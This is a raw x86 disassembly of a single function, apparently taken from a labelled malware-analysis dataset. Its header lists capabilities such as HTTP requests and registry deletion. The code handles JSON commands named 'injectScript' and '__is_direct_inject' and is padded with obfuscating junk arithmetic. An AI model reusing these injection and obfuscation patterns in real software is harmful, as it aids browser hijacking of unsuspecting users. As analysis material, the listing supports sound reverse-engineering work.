Function at 0x44ec80
Capabilities:
Create http request
Delete registry key
Delete registry value
Get disk size
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4eea89
mov eax, dword fs:[0]
push eax
sub esp, 0x640
mov eax, dword [0x555ab0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x5ec], edi
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x628], edi
mov dword [ebp - 0x5dc], ebx
mov dword [ebp - 0x624], ebx
mov dword [ebp - 4], 0
mov ecx, dword [0x55e860]
mov eax, ecx
imul eax, ecx
imul eax, ecx
cdq
mov esi, 9
idiv esi
cmp edx, 3
jne 0x44ed24
lea eax, [ecx + 1]
imul eax, ecx
cdq
mov ecx, 0x12
idiv ecx
cmp edx, 3
jne 0x44ed13
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0x32
push 0x31
push 0x53cd98
call fcn.004b0fdf
add esp, 0xc
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5e4], eax
mov eax, 0x53cd58
mov byte [ebp - 4], 1
test eax, 0xffff0000
jne 0x44ed67
movzx esi, ax
mov ecx, esi
call fcn.00401970
test eax, eax
je 0x44ed77
push esi
push eax
lea ecx, [ebp - 0x5e4]
call fcn.00402420
jmp 0x44ed77
push 0x53cd58
lea ecx, [ebp - 0x5e4]
call fcn.004047f0
push str.h_ndleJSRequest
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 2
call fcn.00402020
mov byte [ebp - 4], 3
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x5f4], esi
lea eax, [ebp - 0x5e4]
push eax
lea edx, [ebp - 0x5f4]
lea ecx, [ebp - 0x5e8]
mov byte [ebp - 4], 4
call fcn.00421a70
add esp, 4
mov byte [ebp - 4], 5
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x44ede2
push 0
push eax
lea eax, [ebp - 0x5d8]
push eax
lea eax, [edi + 8]
push eax
call fcn.00402570
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x5e8]
add edx, 0xfffffff0
or edi, 0xffffffff
lea ecx, [edx + 0xc]
mov eax, edi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x44ee08
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 3
lea eax, [esi + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44ee25
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x5d8]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44ee48
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x5e4]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44ee6b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
and dword [ebp - 0x5fc], 0xfffffe00
xor al, al
mov byte [ebp - 0x5dd], al
mov byte [ebp - 0x606], al
mov dword [ebp - 0x5f8], 0
lea ecx, [ebp - 0x518]
mov byte [ebp - 4], 8
call fcn.00434db0
mov byte [ebp - 4], 9
mov eax, dword [0x5556d8]
mov esi, dword [ebp + 8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x614], edi
mov byte [ebp - 4], 0xa
test esi, esi
je 0x44eee6
test esi, 0xffff0000
jne 0x44eee6
movzx esi, si
mov ecx, esi
call fcn.00401970
test eax, eax
je 0x44eef8
push esi
push eax
lea ecx, [ebp - 0x614]
call fcn.0041d000
jmp 0x44eef2
push esi
lea ecx, [ebp - 0x614]
call fcn.0041c7f0
mov edi, dword [ebp - 0x614]
mov byte [ebp - 4], 0xb
cmp dword [edi - 4], 1
jle 0x44ef16
push dword [edi - 0xc]
lea ecx, [ebp - 0x614]
call fcn.0041d130
mov edi, dword [ebp - 0x614]
mov dword [ebp - 0x590], 0xf
mov dword [ebp - 0x594], 0
mov byte [ebp - 0x5a4], 0
cmp byte [edi], 0
jne 0x44ef3a
xor ecx, ecx
jmp 0x44ef49
mov ecx, edi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ef40
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x5a4]
call fcn.00401300
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x5a4]
push eax
lea ecx, [ebp - 0x4f0]
mov byte [ebp - 4], 0xc
call fcn.00401430
cmp dword [ebp - 0x4dc], 0x10
mov eax, dword [ebp - 0x4e0]
lea ecx, [ebp - 0x4f0]
cmovae ecx, dword [ebp - 0x4f0]
push ecx
lea edx, [ebp - 0x604]
add eax, ecx
push edx
push eax
push ecx
lea ecx, [ebp - 0x518]
call fcn.00434ec0
test al, al
jne 0x44f3f3
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5e8], eax
mov eax, str.parse_error
mov byte [ebp - 4], 0xd
test eax, 0xffff0000
jne 0x44efec
movzx esi, ax
mov ecx, esi
call fcn.00401970
test eax, eax
je 0x44effc
push esi
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00402420
jmp 0x44effc
push str.parse_error
lea ecx, [ebp - 0x5e8]
call fcn.004047f0
mov byte [ebp - 4], 0xe
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5e4], eax
mov eax, str.h_nd1eJSRequest
mov byte [ebp - 4], 0xf
test eax, 0xffff0000
jne 0x44f043
movzx esi, ax
mov ecx, esi
call fcn.00401970
test eax, eax
je 0x44f055
push esi
push eax
lea ecx, [ebp - 0x5e4]
call fcn.00402420
jmp 0x44f055
push 0xf
push str.h_nd1eJSRequest
lea ecx, [ebp - 0x5e4]
call fcn.004021b0
mov byte [ebp - 4], 0x10
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x5f4], esi
lea eax, [ebp - 0x5e8]
push eax
lea edx, [ebp - 0x5f4]
lea ecx, [ebp - 0x618]
mov byte [ebp - 4], 0x11
call fcn.00421a70
mov edx, eax
add esp, 4
mov dword [ebp - 0x61c], edx
mov eax, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x12
mov ecx, dword [eax + 4]
mov edx, dword [edx]
mov dword [ebp - 0x5d8], ecx
lea ecx, [edx - 0x10]
mov dword [ebp - 0x5dc], ecx
mov ecx, dword [ebp - 0x5d8]
mov ecx, dword [ecx]
sub ecx, 0x10
mov dword [ebp - 0x62c], ecx
cmp dword [ebp - 0x5dc], ecx
je 0x44f13c
cmp dword [ecx + 0xc], 0
lea eax, [ecx + 0xc]
mov dword [ebp - 0x620], eax
jl 0x44f127
mov eax, dword [edx - 0x10]
cmp eax, dword [ecx]
jne 0x44f127
mov ecx, dword [ebp - 0x5dc]
call fcn.004022e0
mov edx, dword [ebp - 0x620]
mov dword [ebp - 0x5dc], eax
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x44f11a
mov edx, dword [ebp - 0x62c]
push edx
mov ecx, dword [edx]
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x5dc]
mov ecx, dword [ebp - 0x5d8]
add eax, 0x10
mov dword [ecx], eax
jmp 0x44f136
push dword [edx - 0xc]
mov ecx, dword [ebp - 0x5d8]
push edx
call fcn.004021b0
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x44f15b
push 2
push dword [ebp - 0x61c]
lea edx, [ebp - 0x5e4]
push edx
add eax, 8
push eax
call fcn.00402570
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x618]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f17f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov byte [ebp - 4], 0x10
lea eax, [edx + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f19f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x5e4]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f1c2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x5e8]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f1e5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5e4], eax
mov eax, 0x53cda0
mov byte [ebp - 4], 0x13
test eax, 0xffff0000
jne 0x44f22e
movzx ecx, ax
call fcn.00401970
test eax, eax
je 0x44f23e
mov edx, 0x53cda0
movzx ecx, dx
push ecx
push eax
lea ecx, [ebp - 0x5e4]
call fcn.00402420
jmp 0x44f23e
push 0x53cda0
lea ecx, [ebp - 0x5e4]
call fcn.004047f0
mov ecx, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x14
mov eax, dword [ecx]
lea edx, [ebp - 0x5e4]
push edx
call dword [eax + 0x24]
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x5e4]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f277
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp - 0x590], 0x10
jb 0x44f28e
push dword [ebp - 0x5a4]
call fcn.004b009b
add esp, 4
add edi, 0xfffffff0
mov dword [ebp - 0x590], 0xf
mov dword [ebp - 0x594], 0
mov byte [ebp - 0x5a4], 0
mov byte [ebp - 4], 9
lea eax, [edi + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f2c6
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp - 0x4b0], 0x10
jb 0x44f2dd
push dword [ebp - 0x4c4]
call fcn.004b009b
add esp, 4
cmp dword [ebp - 0x4dc], 0x10
mov dword [ebp - 0x4b0], 0xf
mov dword [ebp - 0x4b4], 0
mov byte [ebp - 0x4c4], 0
jb 0x44f30f
push dword [ebp - 0x4f0]
call fcn.004b009b
add esp, 4
lea ecx, [ebp - 0x504]
mov dword [ebp - 0x4dc], 0xf
mov dword [ebp - 0x4e0], 0
mov byte [ebp - 0x4f0], 0
call fcn.0041ce90
push dword [ebp - 0x504]
call fcn.004b009b
mov eax, dword [ebp - 0x508]
add esp, 4
mov dword [ebp - 0x504], 0
test eax, eax
je 0x44f376
mov ecx, dword [ebp - 0x50c]
dec eax
mov edx, 0
cmove ecx, edx
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x50c], ecx
test eax, eax
jne 0x44f35d
mov esi, dword [ebp - 0x510]
mov eax, dword [ebp - 0x514]
test esi, esi
je 0x44f3a2
mov ecx, dword [eax + esi*4 - 4]
dec esi
test ecx, ecx
je 0x44f39e
push ecx
call fcn.004b009b
mov eax, dword [ebp - 0x514]
add esp, 4
test esi, esi
jne 0x44f386
test eax, eax
je 0x44f3af
push eax
call fcn.004b009b
add esp, 4
push dword [ebp - 0x518]
mov dword [ebp - 0x510], 0
mov dword [ebp - 0x514], 0
call fcn.004b009b
add esp, 4
mov dword [ebp - 0x518], 0
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 6
call fcn.004388f0
mov byte [ebp - 4], 0
jmp 0x451bf8
cmp byte [ebp - 0x5fc], 0
jne 0x44f72d
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5e8], eax
mov eax, str.root_NULL
mov byte [ebp - 4], 0x15
test eax, 0xffff0000
jne 0x44f443
movzx esi, ax
mov ecx, esi
call fcn.00401970
test eax, eax
je 0x44f453
push esi
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00402420
jmp 0x44f453
push str.root_NULL
lea ecx, [ebp - 0x5e8]
call fcn.004047f0
mov byte [ebp - 4], 0x16
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5e4], eax
mov eax, str.h_nd1eJSReque_t
mov byte [ebp - 4], 0x17
test eax, 0xffff0000
jne 0x44f49a
movzx esi, ax
mov ecx, esi
call fcn.00401970
test eax, eax
je 0x44f4ac
push esi
push eax
lea ecx, [ebp - 0x5e4]
call fcn.00402420
jmp 0x44f4ac
push 0xf
push str.h_nd1eJSReque_t
lea ecx, [ebp - 0x5e4]
call fcn.004021b0
mov byte [ebp - 4], 0x18
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x618], esi
lea eax, [ebp - 0x5e8]
push eax
lea edx, [ebp - 0x618]
lea ecx, [ebp - 0x60c]
mov byte [ebp - 4], 0x19
call fcn.00421a70
mov edx, eax
add esp, 4
mov dword [ebp - 0x5f4], edx
mov eax, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x1a
mov ecx, dword [eax + 4]
mov edx, dword [edx]
mov dword [ebp - 0x5d8], ecx
lea ecx, [edx - 0x10]
mov dword [ebp - 0x5dc], ecx
mov ecx, dword [ebp - 0x5d8]
mov ecx, dword [ecx]
sub ecx, 0x10
mov dword [ebp - 0x62c], ecx
cmp dword [ebp - 0x5dc], ecx
je 0x44f593
cmp dword [ecx + 0xc], 0
lea eax, [ecx + 0xc]
mov dword [ebp - 0x61c], eax
jl 0x44f57e
mov eax, dword [edx - 0x10]
cmp eax, dword [ecx]
jne 0x44f57e
mov ecx, dword [ebp - 0x5dc]
call fcn.004022e0
mov edx, dword [ebp - 0x61c]
mov dword [ebp - 0x620], eax
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x44f571
mov edx, dword [ebp - 0x62c]
push edx
mov ecx, dword [edx]
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x5d8]
add eax, 0x10
mov dword [ecx], eax
jmp 0x44f58d
push dword [edx - 0xc]
mov ecx, dword [ebp - 0x5d8]
push edx
call fcn.004021b0
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x44f5b2
push 2
push dword [ebp - 0x5f4]
lea edx, [ebp - 0x5e4]
push edx
add eax, 8
push eax
call fcn.00402570
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x60c]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f5d6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov byte [ebp - 4], 0x18
lea eax, [edx + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f5f6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x5e4]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f619
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x5e8]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f63c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5e4], eax
mov eax, str.json_parse_error
mov byte [ebp - 4], 0x1b
test eax, 0xffff0000
jne 0x44f685
movzx ecx, ax
call fcn.00401970
test eax, eax
je 0x44f695
mov edx, str.json_parse_error
movzx ecx, dx
push ecx
push eax
lea ecx, [ebp - 0x5e4]
call fcn.00402420
jmp 0x44f695
push str.json_parse_error
lea ecx, [ebp - 0x5e4]
call fcn.004047f0
mov ecx, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x1c
mov eax, dword [ecx]
lea edx, [ebp - 0x5e4]
push edx
call dword [eax + 0x24]
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x5e4]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f6ce
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp - 0x590], 0x10
jb 0x44f6e5
push dword [ebp - 0x5a4]
call fcn.004b009b
add esp, 4
add edi, 0xfffffff0
mov byte [ebp - 4], 9
mov ecx, esi
lea eax, [edi + 0xc]
mov byte [ebp - 0x5a4], 0
mov dword [ebp - 0x594], 0
mov dword [ebp - 0x590], 0xf
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f71d
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x518]
call fcn.0041af50
jmp 0x44f3db
mov dword [ebp - 0x574], 0x53cdec
mov dword [ebp - 0x570], 0
mov esi, dword [ebp - 0x604]
lea eax, [ebp - 0x574]
push eax
mov ecx, esi
call fcn.00439ed0
mov ecx, dword [esi]
cmp eax, ecx
je 0x44f7b9
mov esi, dword [eax + 0x10]
mov edx, 0x53cdec
mov bl, byte [edx]
cmp bl, byte [esi]
mov byte [ebp - 0x605], bl
mov ebx, dword [ebp - 0x5dc]
jne 0x44f7a5
cmp byte [ebp - 0x605], 0
je 0x44f7a1
mov bl, byte [edx + 1]
cmp bl, byte [esi + 1]
mov byte [ebp - 0x605], bl
mov ebx, dword [ebp - 0x5dc]
jne 0x44f7a5
add edx, 2
add esi, 2
cmp byte [ebp - 0x605], 0
jne 0x44f763
xor edx, edx
jmp 0x44f7aa
sbb edx, edx
or edx, 1
test edx, edx
sets dl
mov dword [ebp - 0x60c], eax
test dl, dl
je 0x44f7bf
mov dword [ebp - 0x60c], ecx
lea eax, [ebp - 0x60c]
mov eax, dword [eax]
mov byte [ebp - 4], 0xc
cmp eax, ecx
je 0x451734
add eax, 0x18
cmp eax, 0x55f598
je 0x451734
push ecx
push 0x53cdf4
lea ecx, [ebp - 0x604]
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x451734
push 0x53ce4c
lea ecx, [ebp - 0x604]
call fcn.004394f0
push ecx
push str.action
lea ecx, [ebp - 0x604]
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5f0]
call fcn.00404310
push str.__is_direct_inject
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 0x26
call fcn.00404a70
test eax, eax
jne 0x44fa6c
mov ecx, dword [0x55e860]
mov esi, 0x15
lea eax, [ecx + 2]
inc ecx
imul eax, ecx
mov ecx, dword [0x55e860]
imul eax, ecx
cdq
idiv esi
cmp edx, 0xe
jne 0x44f963
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x60c], eax
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x618], eax
mov eax, ecx
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [ebp - 0x61c], eax
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x62c], eax
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x620], eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x5f4], eax
mov eax, ecx
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [ebp - 0x5e8], eax
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x5e4], 0
lea esi, [ebp - 0x4a7]
xor eax, eax
jmp 0x44f920
mov edx, dword [0x55e860]
mov cl, dl
sub cl, al
mov dword [ebp - 0x5d8], 1
mov dword [ebp - 0x5dc], 0xa
mov edi, edi
inc dword [ebp - 0x5d8]
add esi, 9
dec dword [ebp - 0x5dc]
jne 0x44f940
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp eax, 0xd
jl 0x44f920
test ebx, ebx
je 0x44f976
mov eax, 0xb
mov word [ebx], ax
or eax, 0xffffffff
mov word [ebx + 8], ax
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x5f0]
mov al, 1
add edx, 0xfffffff0
mov byte [ebp - 0x5dd], al
mov byte [ebp - 0x606], al
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f9a8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp - 0x590], 0x10
jb 0x44f9bf
push dword [ebp - 0x5a4]
call fcn.004b009b
add esp, 4
lea edx, [edi - 0x10]
or edi, 0xffffffff
mov dword [ebp - 0x590], 0xf
mov dword [ebp - 0x594], 0
mov byte [ebp - 0x5a4], 0
mov byte [ebp - 4], 9
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44f9fa
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x518]
call fcn.0041af50
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 6
call fcn.004388f0
mov byte [ebp - 4], 0
mov ebx, dword [ebp - 0x5ec]
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5d8], eax
mov eax, str.OUT
mov byte [ebp - 4], 0x77
test eax, 0xffff0000
jne 0x451c1e
movzx esi, ax
mov ecx, esi
call fcn.00401970
test eax, eax
je 0x451c2e
push esi
push eax
lea ecx, [ebp - 0x5d8]
call fcn.00402420
jmp 0x451c2e
push str.injectScript
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
jne 0x44fbd8
push ecx
push 0x53cea0
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push str.codeMessage
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x451691
mov esi, dword [0x55e860]
mov ecx, 0x16
lea eax, [esi + 1]
imul eax, esi
cdq
idiv ecx
cmp edx, 0x11
jne 0x44fb16
xor edx, edx
jmp 0x44fad0
mov ecx, dword [ebp + edx*4 - 0x2a4]
add ecx, dword [ebp + edx*4 - 0x2a8]
add edx, 6
add ecx, dword [ebp + edx*4 - 0x2c4]
add ecx, dword [ebp + edx*4 - 0x2c8]
add ecx, dword [ebp + edx*4 - 0x2cc]
add ecx, dword [ebp + edx*4 - 0x2d0]
lea eax, [ecx*8]
sub eax, ecx
add esi, eax
mov dword [0x55e860], esi
cmp edx, 0x2a0
jb 0x44fad0
push ecx
push 0x53cef8
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53ced8
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5dc]
call fcn.00404310
push ecx
lea ecx, [ebp - 0x574]
mov byte [ebp - 4], 0x27
call fcn.0044e5b0
mov byte [ebp - 4], 0x28
mov eax, dword [ebp - 0x5dc]
mov ecx, 0x55fc5c
push dword [eax - 0xc]
push eax
call fcn.00411e80
mov byte [ebp - 4], 0x27
cmp byte [ebp - 0x570], 0
je 0x44fb91
push dword [ebp - 0x574]
call fcn.004afd35
add esp, 4
test eax, eax
je 0x44fb91
push eax
call fcn.004af65a
add esp, 4
test ebx, ebx
je 0x44fba4
mov eax, 0xb
mov word [ebx], ax
or eax, 0xffffffff
mov word [ebx + 8], ax
mov byte [ebp - 4], 0x26
mov edx, dword [ebp - 0x5dc]
add edx, 0xfffffff0
mov byte [ebp - 0x606], 1
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x451691
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x451691
push str.getCurrentCppTime
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
jne 0x44fda8
call fcn.0044e930
test al, al
jne 0x44fc09
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov dword [0x55e860], esi
jmp 0x44fc0f
mov esi, dword [0x55e860]
test ebx, ebx
je 0x44fd74
lea eax, [ebp - 0x574]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov esi, dword [0x55e860]
mov eax, esi
imul eax, esi
cdq
mov ecx, 0x18
idiv ecx
cmp edx, 0xe
jne 0x44fc4c
mov eax, 1
test esi, esi
cmove esi, eax
mov dword [0x55e860], esi
push 0
push 0xa
push dword [ebp - 0x570]
push dword [ebp - 0x574]
call fcn.004b5e30
imul esi, esi
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], edx
mov eax, esi
cdq
mov ecx, 0x11
idiv ecx
cmp edx, 0xa
jne 0x44fc85
inc dword [0x55fb8c]
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x5e4], esi
mov byte [ebp - 4], 0x29
xor eax, eax
mov dword [ebp - 0x5d8], eax
cmp eax, 8
jge 0x44fd32
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5dc], eax
mov byte [ebp - 4], 0x2a
mov eax, dword [ebp - 0x5d8]
movzx eax, byte [ebp + eax - 0x610]
push eax
lea eax, [ebp - 0x5dc]
push str._.2x
push eax
call fcn.00404f10
mov esi, dword [ebp - 0x5dc]
add esp, 0xc
push dword [esi - 0xc]
lea ecx, [ebp - 0x5e4]
push esi
call fcn.00411e80
add esi, 0xfffffff0
mov byte [ebp - 4], 0x29
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44fd20
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x5d8]
mov esi, dword [ebp - 0x5e4]
inc eax
jmp 0x44fca1
push dword [esi - 0xc]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
test eax, eax
jne 0x44fd45
call fcn.00402350
mov dword [ebx + 8], eax
mov eax, 8
add esi, 0xfffffff0
mov word [ebx], ax
mov byte [ebp - 4], 0x26
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x44fd6e
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [0x55e860]
mov eax, esi
imul eax, esi
cdq
mov ecx, 0xc
idiv ecx
cmp edx, 7
jne 0x451691
lea ecx, [edx - 6]
cmp esi, ecx
jle 0x44fd9d
mov eax, esi
cdq
idiv ecx
inc ecx
add ecx, edx
cmp ecx, esi
jl 0x44fd91
mov dword [0x55e860], ecx
jmp 0x451691
push 0x53cf00
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
je 0x451389
push str.getIntPref
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
je 0x451389
push str.setCharPref
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
jne 0x450125
call fcn.0044ea10
test al, al
jne 0x44fe10
push 0xfb
push 0xfa
push 0x53d018
call fcn.004b0fdf
add esp, 0xc
push ecx
push 0x53d020
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d058
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x4500df
push ecx
push 0x53d060
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d044
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x4500df
push ecx
push 0x53d050
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53d078
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x4500df
push ecx
